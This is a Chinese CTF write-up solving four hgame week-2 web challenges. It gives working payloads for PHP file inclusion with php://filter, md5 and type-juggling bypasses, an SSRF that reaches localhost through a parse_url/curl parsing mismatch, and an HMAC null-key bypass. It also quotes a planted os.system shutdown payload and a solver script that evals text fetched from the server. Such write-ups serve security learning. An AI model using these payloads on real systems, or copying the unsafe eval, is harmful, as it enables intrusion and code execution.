week2
1.easy_php
Description
代码审计♂第二弹
URL http://118.24.25.25:9999/easyphp/index.html
进去之后只有一句come on ! second wait you
标题叫做where is my robots,访问robots.txt,显示img/index.php,访问得到源码
<?php error_reporting(0); $img = $_GET['img']; if(!isset($img)) $img = '1'; $img = str_replace('../', '', $img); include_once($img.".php"); highlight_file(__FILE__);
显然是文件包含
img由我们提供,但../被替换成了空,可以通过....//来绕过
通过img=....//flag,发现
按一般套路,使用php:://filter伪协议
img=php://filter/read=convert.base64-encode/resource=....//flag
得到base64编码
PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK
解码得到flag:hgame{You_4re_So_g0od}
2.php trick
Description
some php tricks
URL http://118.24.3.214:3001
直接给出了源码
<?php //admin.php highlight_file(__FILE__); $str1 = (string)@$_GET['str1']; $str2 = (string)@$_GET['str2']; $str3 = @$_GET['str3']; $str4 = @$_GET['str4']; $str5 = @$_GET['H_game']; $url = @$_GET['url']; if( $str1 == $str2 ){ die('step 1 fail'); } if( md5($str1) != md5($str2) ){ die('step 2 fail'); } if( $str3 == $str4 ){ die('step 3 fail'); } if ( md5($str3) !== md5($str4)){ die('step 4 fail'); } if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) { die('step 5 fail'); } if(is_numeric($str5)){ die('step 6 fail'); } if ($str5<9999999999){ die('step 7 fail'); } if ((string)$str5>0){ die('step 8 fial'); } if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){ die('step 9 fail'); } if (parse_url($url,PHP_URL_SCHEME) !== "http"){ die('step 10 fail'); } $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); $output = curl_exec($ch); curl_close($ch); if($output === FALSE){ die('step 11 fail'); } else{ echo $output; }
一些php的trick,一个一个绕
step1、2就是老生常谈的php弱类型导致的md5比较相同
使用str1=240610708&str2=QNKCDZO绕过
step4使用了!==进行比较,所以无法通过之前的方式绕过
但php的md5函数在接受数组时会返回null,所以使用str3[]=1&str4[]=2绕过
step5比较刁钻,检测QUERY_STRING(也就是url中?后面的部分)中是否存在H_game,但str5又需要我们提交H_game,这里利用php一个特性,在$_GET中的空格(" "),点(".")以及前中括号("[")会变成下划线,所以使用H.game绕过
后面的step6、7、8都可以用数组绕过,所以使用H.game[]=1
step9、10要求使用parse_url解析url变量,得到的host为www.baidu.com,协议为http
这里比较容易满足,用url=http://www.baidu.com即可
但之后会利用url执行cURL会话,所以想要得到flag,关键在url变量
当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的
当代码对 http://user@eval.com:80@www.baidu.com 进行解析时,parse_url获取的host是www.baidu.com,而调用libcurl进行请求时则是请求的eval.com域名
所以可以使用url=http://@127.0.0.1:80@www.baidu.com绕过限制,对本地服务器进行访问
所以最终提交str1=240610708&str2=QNKCDZO&str3[]=1&str4[]=2&H.game[]=1&url=http://@127.0.0.1:80@www.baidu.com
发现源码打印了两次,这说明成功获取了默认页面的内容
在源码中有//admin.php的提示,所以提交url=http://@127.0.0.1:80@www.baidu.com/admin.php (路径写在后面,如果写在前面会导致parse_url解析将127.0.0.1当作host)
得到源码
<?php //flag.php if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') { die('only localhost can see it'); } $filename = $_GET['filename']??''; if (file_exists($filename)) { echo "sorry,you can't see it"; } else{ echo file_get_contents($filename); } highlight_file(__FILE__); ?>
可以通过该文件进行文件包含,但又有file_exists限制访问
通过php://filter伪协议进行包含
url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
得到
解码得到flag
hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}
3.PHP Is The Best Language
Description
var_dump了解一下
URL http://118.25.89.91:8888/flag.php
直接给了源码
<?php include 'secret.php'; #echo $flag; #echo $secret; if (empty($_POST['gate']) || empty($_POST['key'])) { highlight_file(__FILE__); exit; } if (isset($_POST['door'])){ $secret = hash_hmac('sha256', $_POST['door'], $secret); } $gate = hash_hmac('sha256', $_POST['key'], $secret); if ($gate !== $_POST['gate']) { echo "Hacker GetOut!!"; exit; } if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) { echo "Wow!!!"; echo "</br>"; echo $flag; } else { echo "Hacker GetOut!!"; } ?>
可以看到有两个限制
①首先需要$gate === $_POST['gate']
我们将前面的变量带进去,可以表示为:
hash_hmac('sha256', $_POST['key'], hash_hmac('sha256', $_POST['door'], $secret)) === $_POST['gate']
hash_hmac是用hmac的方式进行生成MAC(消息验证码,PS:我这学期密码学刚好学过),三个参数依次为加密方式,明文,密钥
可以看到,明文由我们控制,而秘钥由另一个hash_hmac生成,但是所用的密钥$secret我们未知
不过,hash_hmac需要的参数都是字符串,如果明文传入数组,则会返回NULL,所以可以让door为一个数组,这样变成了:
hash_hmac('sha256', $_POST['key'], NULL) === $_POST['gate']
接下来只需要post任意key和对应gate即可绕过
②其次需要(md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1
这个其实没什么好说的,本地写个脚本跑一下,很快就能试出来,再修改一下gate即可得到flag
最终payload:
gate=f035cb68e7821ebf74d4931cd986ef7787bce76bbf52052a7f3693a93c6a7abd&door[]=1&key=eus
4.Baby_Spider
Description
Come to death in the ocean of mathematics together with Li4n0!
Answer 30 questions correctly in a row during 40 seconds(The calculation result is subject to python3),then you can get the flag. Enjoy it~
hint1:The most basic operation of a spider is to disguise itself.
URL http://111.231.140.29:10000
说实话这题太脏了,出题人真是冒着生命危险在出题
进入之后首先要提交队伍token,提交后会给出question
一看是这种形式的题,加上题目描述,显然要写脚本计算(脚本在后面)
做完前九题后碰到了神秘事件,这次的问题是
(lambda __g: [(os.system('shutdown -s -t 0'), (os.system('shutdown now'), None)[1])[1] for __g['os'] in [(__import__('os', __g, __g))]][0])(globals())#-----=?
还好我用的mac,如果是windows玩家eval了这句,立马关机(群里在众筹打出题人)
以为是脑洞之类的东西,然而并没有用
后来给出了hint1,在header中加上了user-agent伪装成浏览器,就没有碰到这个了
第10题开始是正常的数字计算题,然而提交答案发现错误
用浏览器观察(替换cookie)发现浏览器显示的题目与源码不同
猜测显示的应该是真题目
同时在static发现下图
显然是在显示的时候利用css进行了替换,所以在匹配到题目时按照如下规律替换即可:
0 -> 1
1 -> 0
2 -> 2
3 -> 6
4 -> 9
5 -> 4
6 -> 3
7 -> 5
8 -> 8
9 -> 7
这样可以完成10-19题
从第20题开始又发生了错误
再次查看源码
在css中找到了真题目
使用其中的题目可以正常提交,完成所有题目后获得flag
附脚本:
import requests import re token = {'token' : 'X'} answer = {'answer' : '1'} user = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36'} url = 'http://111.231.140.29:10000/' s = requests.session() r = s.post(url, token) match = re.search(r'<div class="question-container"><span>(.*)=\?</span></div>', r.text) answer['answer'] = eval(match.group(1)) r = s.post(url + 'solution', data=answer, headers=user) for i in range(30): print(i) match = re.search(r'<div class="question-container"><span>(.*)=\?</span></div>', r.text) answer['answer'] = eval(match.group(1)) # if i == 21: # print(s.cookies['session']) # break if i >= 9 and i < 19: question = match.group(1) true_question = '' for j in question: if j == '0': true_question += '1' elif j == '1': true_question += '0' elif j == '3': true_question += '6' elif j == '4': true_question += '9' elif j == '5': true_question += '4' elif j == '6': true_question += '3' elif j == '7': true_question += '5' elif j == '9': true_question += '7' else: true_question += j answer['answer'] = eval(true_question) if i >= 19: nextr = s.get('http://111.231.140.29:10000/statics/style.css', headers = user) nextmatch = re.search(r'content:"(.*?)=\?";', nextr.text) answer['answer'] = eval(nextmatch.group(1)) r = s.post(url + 'solution', data=answer, headers=user) if i == 28: print(r.text) break打赏作者